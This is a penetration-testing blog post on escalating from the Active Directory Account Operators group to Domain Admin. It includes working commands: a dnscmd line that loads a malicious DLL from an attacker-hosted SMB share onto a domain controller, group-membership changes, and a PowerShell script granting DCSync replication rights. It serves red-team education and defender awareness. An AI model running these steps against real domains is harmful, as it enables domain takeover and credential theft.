On a recent Red Team engagement, we had compromised a domain and dumped the Active Directory user password hashes. We attempted to pivot into another domain using shared credentials, but no domain administrator accounts shared credentials between the two domains. However, we did identify one account that shared credentials with the target domain which was in the “Account Operators” group, a default Active Directory group that I have flagged in my notes as a candidate for easy privilege escalation to Domain Administrator (DA) privileges.
Practical Privilege Escalation
While I have read several articles describing this potential attack path, there seems to be some confusion over what permissions this account actually has. The goal of this post is to share some details of the Account Operators permissions and describe practical paths to escalating to DA.
Account Operators
A description provided by a Microsoft article, describes the Account Operator default group and the permissions of the group as:
The Account Operators group grants limited account creation privileges to a user. Members of this group can create and modify most types of accounts, including accounts for users, Local groups, and Global groups. Group members can log in locally to domain controllers.
Members of the Account Operators group can’t manage the Administrator user account, the user accounts of administrators, or the Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups. Members of this group can’t modify user rights.
The Account Operators group applies to the Windows Server operating system in the Default Active Directory security groups list.
Microsoft
Account Operator Permissions
Essentially, Account Operators can do the following:
- Log on locally to domain controllers (no local admin by default)
- Modify Local and Global groups besides the protected groups (Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups)
- Modify user accounts including updating passwords (besides members of the protected groups)
Testing Potential Paths to DA
Using an Active Directory test lab, I tested the most obvious paths to escalation first to ensure that the described permissions actually held true. I created the user “AO” and added their account to the “Account Operators” group:
Modification Of Protected Administrator Groups & Users
The default “Administrators” group contains the groups “Domain Admins”, “Enterprise Admins”, and the “Administrator” user. Attempting to modify any of these groups fails with “permission denied” as expected:
Additionally, attempting to modify the password for any of the accounts in these groups fails as well:
Modification Of Protected Subgroups
One scenario that I saw mentioned elsewhere is modifying subgroups of the Administrators or Domain Admins groups, as the ACL is supposedly not passed down to the subgroup. The group “SecondaryDA” was created as a member of the “Domain Admins” group. Attempting to add any user to this group as the account operator fails, suggesting that the ACL is properly inherited and prevents this method of escalation:
This was tested with all the protected groups with the same results. Interestingly, if a new group is created in a non-default OU (not Users or BUILTIN) and then placed in a protected group, it is initially possible to modify this group as an Account Operator. However, after a period of time (about 5-10 minutes in my test lab) the Access Control List seems to propagate to the subgroup and modification by the Account Operator then fails.
Changing User Passwords
Account Operators can modify user objects for any user that is not a member of one of the protected groups listed above. This means that if you find a user that is not a Domain Admin but has administrative access to a sensitive server, you can simply modify their password and log in as them. For example, you identify ADMIN_john.doe is not a member of any of the protected groups but has local admin access to a server running an IT password manager software, it is possible to compromise their account by resetting their password:
High-Value Default Groups
The following default groups have direct paths to DA privileges:
DNSAdmins
Members of the DNSadmins can modify DNS settings on DNS servers, which are often domain controllers, leading to code execution as SYSTEM on the domain controller. This method requires the following steps:
- Gain access to a user in the DNSAdmins group either by adding a compromised user account to the group or modifying the password of an existing user in the group.
Add-ADGroupMember -Identity "DNSAdmins" -Members AO- Gain access to the dnscmd tool, either through powershell/cmd access to a Windows Server or through installing Remote Server Administration Tools on a Windows Desktop.
- Generate a malicious DLL to be run by the DNS service to gain code execution. This can be hosted remotely via SMB to avoid writing to disk (see below link for details on making this). Note that if the DLL crashes the DNS service, with only default DNSadmin permissions you likely won’t be able to bring the service back up.
- Run the following command to configure the DNS service to use your malicious DLL:
dnscmd DC01.test.lab /config /serverlevelplugindll \\[attackerip]\SHARE\dns.dll- Restart the DNS service on the domain controller (by default, DNSadmins do not have permissions to restart the service via the “sc” command, but can do it with dnscmd):
dnscmd DC01.test.lab /restart- The DNS Service should now grab our DLL from the SMB Share and execute its contents, resulting in code execution as SYSTEM on the domain controller/DNS Server.
For more information on this attack and constructing the DLL to be used by the DNS service, this abusing dnsadmins post or this dnsadmins post are great examples.
Exchange Windows Permissions
In environments that use Microsoft Exchange, the Exchange Windows Permissions group allows for privilege escalation to DA. Essentially, members of this group have permission to grant themselves DCSync privileges, and this attack path has been determined to be a “Won’t Fix” issue by Microsoft. Read this GitHub article which explains the attack in detail and provides the steps to exploit.
This method is straightforward and consists of two steps:
- Add yourself or another compromised account to the group:
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members AO- Grant yourself Ds-Replication-Get-Changes and Ds-Replication-Get-Changes-All extended rights (bolded items must be modified to match your domain environment):
$acl = get-acl "ad:DC=test,DC=local"
$id = [Security.Principal.WindowsIdentity]::GetCurrent()
$user = Get-ADUser -Identity $id.User
$sid = new-object System.Security.Principal.SecurityIdentifier $user.SID
# rightsGuid for the extended right Ds-Replication-Get-Changes-All
$objectguid = new-object Guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
$identity = [System.Security.Principal.IdentityReference] $sid
$adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
$type = [System.Security.AccessControl.AccessControlType] "Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)
# rightsGuid for the extended right Ds-Replication-Get-Changes
$objectguid = new-object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)
Set-acl -aclobject $acl "ad:DC=test,DC=local"Azure Admins
With some Azure AD configurations, it is possible to exploit the Azure-ADConnect integration service to obtain and decrypt credentials for the Azure AD Replication account, which effectively has DA privileges. This replication method appears to have been hardened in 2020, requiring some additional steps to exploit. See the following links for proof-of-concept code and a detailed description of the attack:
High-Value Non-Default Groups
Another way to obtain domain privilege escalation is to modify non-default groups that may have sensitive access. For example, there may be a group called “IT Admins” that is not a member of a protected group, but grants local admin access to numerous high-value servers. This group is an easy target that we can add our own compromised user to or modify the password of an existing user within the group.
Account Operators Privilege Escalation Wrap-Up
The default Account Operators group is often just one step away from Domain Administrator privileges. It allows attackers to change user passwords or group membership for any user or group not within the protected groups. For attackers, this is a useful group to achieve privilege escalation to DA or maintain less obvious persistence within an environment. For Defenders, this group should be monitored, and users within the group should be considered to have DA privileges.
MORE FROM OUR TECHNICAL BLOG
Cyber Advisors specializes in providing fully customizable cyber security solutions & services. Our knowledgeable, highly skilled, talented security experts are here to help design, deliver, implement, manage, monitor, put your defenses to the test, & strengthen your systems - so you don’t have to.
